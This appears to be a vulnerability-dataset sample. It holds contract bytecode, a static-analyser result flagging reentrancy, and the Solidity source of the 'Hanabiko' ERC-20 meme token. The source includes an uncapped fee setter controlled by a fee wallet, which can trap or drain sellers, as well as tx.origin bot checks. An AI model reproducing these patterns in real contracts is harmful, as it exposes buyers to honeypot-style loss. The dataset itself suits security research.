ffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f7a565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e4f534500000000000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611476565b8484611649565b6001905092915050565b610cea611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f7a565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611476565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611edf565b50565b610e3e611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f7a565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f129061301a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061147e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612907565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612907565b6040518363ffffffff1660e01b81526004016110e0929190612dca565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612907565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612e1c565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612ab3565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112a360646112956001683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f819055506112d960646112cb6002683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611399929190612df3565b602060405180830381600087803b1580156113b357600080fd5b505af11580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190612a61565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612f1a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163c919061303a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090612eba565b60405180910390fd5b6000811161176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f9a565b60405180910390fd5b6000600a81905550600a600b81905550611784610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257506117c2610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561194f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bd5750600e60179054906101000a900460ff165b15611afb57600f54811115611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90612eda565b60405180910390fd5b60105481611a1484610a03565b611a1e9190613170565b1115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690612fda565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aaa57600080fd5b601e42611ab79190613170565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c12576000600a81905550600a600b819055505b6000611c1d30610a03565b9050600e60159054906101000a900460ff16158015611c8a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca25750600e60169054906101000a900460ff165b15611cca57611cb081611edf565b60004790506000811115611cc857611cc747611e05565b5b505b505b611cd78383836121d9565b505050565b6000838311158290611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b9190612e98565b60405180910390fd5b5060008385611d339190613251565b9050809150509392505050565b600080831415611d535760009050611db5565b60008284611d6191906131f7565b9050828482611d7091906131c6565b14611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790612f5a565b60405180910390fd5b809150505b92915050565b6000611dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e6d573d6000803e3d6000fd5b5050565b6000600854821115611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf90612efa565b60405180910390fd5b6000611ec261224c565b9050611ed78184611dbb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611fa9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204b57600080fd5b505afa15801561205f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120839190612907565b816001815181106120bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061212430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612188959493929190613055565b600060405180830381600087803b1580156121a257600080fd5b505af11580156121b6573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121e4838383612277565b505050565b60008083118290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122279190612e98565b60405180910390fd5b506000838561223f91906131c6565b9050809150509392505050565b6000806000612259612442565b915091506122708183611dbb90919063ffffffff16565b9250505090565b600080600080600080612289876124a4565b9550955095509550955095506122e786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c8816125b4565b6123d28483612671565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161242f919061303a565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612478683635c9adc5dea00000600854611dbb90919063ffffffff16565b82101561249757600854683635c9adc5dea000009350935050506124a0565b81819350935050505b9091565b60008060008060008060008060006124c18a600a54600b546126ab565b92509250925060006124d161224c565b905060008060006124e48e878787612741565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cdc565b905092915050565b60008082846125659190613170565b9050838110156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190612f3a565b60405180910390fd5b8091505092915050565b60006125be61224c565b905060006125d58284611d4090919063ffffffff16565b905061262981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126868260085461250c90919063ffffffff16565b6008819055506126a18160095461255690919063ffffffff16565b6009819055505050565b6000806000806126d760646126c9888a611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061270160646126f3888b611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061272a8261271c858c61250c90919063ffffffff16565b61250c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061275a8589611d4090919063ffffffff16565b905060006127718689611d4090919063ffffffff16565b905060006127888789611d4090919063ffffffff16565b905060006127b1826127a3858761250c90919063ffffffff16565b61250c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127dd6127d8846130ef565b6130ca565b905080838252602082019050828560208602820111156127fc57600080fd5b60005b8581101561282c57816128128882612836565b8452602084019350602083019250506001810190506127ff565b5050509392505050565b6000813590506128458161372d565b92915050565b60008151905061285a8161372d565b92915050565b600082601f83011261287157600080fd5b81356128818482602086016127ca565b91505092915050565b60008135905061289981613744565b92915050565b6000815190506128ae81613744565b92915050565b6000813590506128c38161375b565b92915050565b6000815190506128d88161375b565b92915050565b6000602082840312156128f057600080fd5b60006128fe84828501612836565b91505092915050565b60006020828403121561291957600080fd5b60006129278482850161284b565b91505092915050565b6000806040838503121561294357600080fd5b600061295185828601612836565b925050602061296285828601612836565b9150509250929050565b60008060006060848603121561298157600080fd5b600061298f86828701612836565b93505060206129a086828701612836565b92505060406129b1868287016128b4565b9150509250925092565b600080604083850312156129ce57600080fd5b60006129dc85828601612836565b92505060206129ed858286016128b4565b9150509250929050565b600060208284031215612a0957600080fd5b600082013567ffffffffffffffff811115612a2357600080fd5b612a2f84828501612860565b91505092915050565b600060208284031215612a4a57600080fd5b6000612a588482850161288a565b91505092915050565b600060208284031215612a7357600080fd5b6000612a818482850161289f565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128b4565b91505092915050565b600080600060608486031215612ac857600080fd5b6000612ad6868287016128c9565b9350506020612ae7868287016128c9565b9250506040612af8868287016128c9565b9150509250925092565b6000612b0e8383612b1a565b60208301905092915050565b612b2381613285565b82525050565b612b3281613285565b82525050565b6000612b438261312b565b612b4d818561314e565b9350612b588361311b565b8060005b83811015612b89578151612b708882612b02565b9750612b7b83613141565b925050600181019050612b5c565b5085935050505092915050565b612b9f81613297565b82525050565b612bae816132da565b82525050565b6000612bbf82613136565b612bc9818561315f565b9350612bd98185602086016132ec565b612be281613426565b840191505092915050565b6000612bfa60238361315f565b9150612c0582613437565b604082019050919050565b6000612c1d60198361315f565b9150612c2882613486565b602082019050919050565b6000612c40602a8361315f565b9150612c4b826134af565b604082019050919050565b6000612c6360228361315f565b9150612c6e826134fe565b604082019050919050565b6000612c86601b8361315f565b9150612c918261354d565b602082019050919050565b6000612ca960218361315f565b9150612cb482613576565b604082019050919050565b6000612ccc60208361315f565b9150612cd7826135c5565b602082019050919050565b6000612cef60298361315f565b9150612cfa826135ee565b604082019050919050565b6000612d1260258361315f565b9150612d1d8261363d565b604082019050919050565b6000612d35601a8361315f565b9150612d408261368c565b602082019050919050565b6000612d5860248361315f565b9150612d63826136b5565b604082019050919050565b6000612d7b60178361315f565b9150612d8682613704565b602082019050919050565b612d9a816132c3565b82525050565b612da9816132cd565b82525050565b6000602082019050612dc46000830184612b29565b92915050565b6000604082019050612ddf6000830185612b29565b612dec6020830184612b29565b9392505050565b6000604082019050612e086000830185612b29565b612e156020830184612d91565b9392505050565b600060c082019050612e316000830189612b29565b612e3e6020830188612d91565b612e4b6040830187612ba5565b612e586060830186612ba5565b612e656080830185612b29565b612e7260a0830184612d91565b979650505050505050565b6000602082019050612e926000830184612b96565b92915050565b60006020820190508181036000830152612eb28184612bb4565b905092915050565b60006020820190508181036000830152612ed381612bed565b9050919050565b60006020820190508181036000830152612ef381612c10565b9050919050565b60006020820190508181036000830152612f1381612c33565b9050919050565b60006020820190508181036000830152612f3381612c56565b9050919050565b60006020820190508181036000830152612f5381612c79565b9050919050565b60006020820190508181036000830152612f7381612c9c565b9050919050565b60006020820190508181036000830152612f9381612cbf565b9050919050565b60006020820190508181036000830152612fb381612ce2565b9050919050565b60006020820190508181036000830152612fd381612d05565b9050919050565b60006020820190508181036000830152612ff381612d28565b9050919050565b6000602082019050818103600083015261301381612d4b565b9050919050565b6000602082019050818103600083015261303381612d6e565b9050919050565b600060208201905061304f6000830184612d91565b92915050565b600060a08201905061306a6000830188612d91565b6130776020830187612ba5565b81810360408301526130898186612b38565b90506130986060830185612b29565b6130a56080830184612d91565b9695505050505050565b60006020820190506130c46000830184612da0565b92915050565b60006130d46130e5565b90506130e0828261331f565b919050565b6000604051905090565b600067ffffffffffffffff82111561310a576131096133f7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317b826132c3565b9150613186836132c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bb576131ba613399565b5b828201905092915050565b60006131d1826132c3565b91506131dc836132c3565b9250826131ec576131eb6133c8565b5b828204905092915050565b6000613202826132c3565b915061320d836132c3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324657613245613399565b5b828202905092915050565b600061325c826132c3565b9150613267836132c3565b92508282101561327a57613279613399565b5b828203905092915050565b6000613290826132a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e5826132c3565b9050919050565b60005b8381101561330a5780820151818401526020810190506132ef565b83811115613319576000848401525b50505050565b61332882613426565b810181811067ffffffffffffffff82111715613347576133466133f7565b5b80604052505050565b600061335b826132c3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338e5761338d613399565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61373681613285565b811461374157600080fd5b50565b61374d81613297565b811461375857600080fd5b50565b613764816132c3565b811461376f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4ef8c663e96e617995729b6976b32946eb2b181951fb5a60a55dab4f45652bf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,696 |
0x812e208810B763aEe90D6fDA84bD61297Fc9625f
|
/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
/**
https://t.me/HanabikoToken
https://www.kokoerc.com
* TOKENOMICS
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy
* 12% tax on buys and sells
* 25% fee on sells within first (30) minutes post-launch
* Max wallet of 3% of total supply for first (1) hour post-launch
* No team tokens, no presale
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Hanabiko is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Hanabiko"; ////
string public constant symbol = unicode"KOKO"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (30 minutes)) {
fee += 13;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 5000000001 * 10**9; // .5%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _FeeAddress1);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
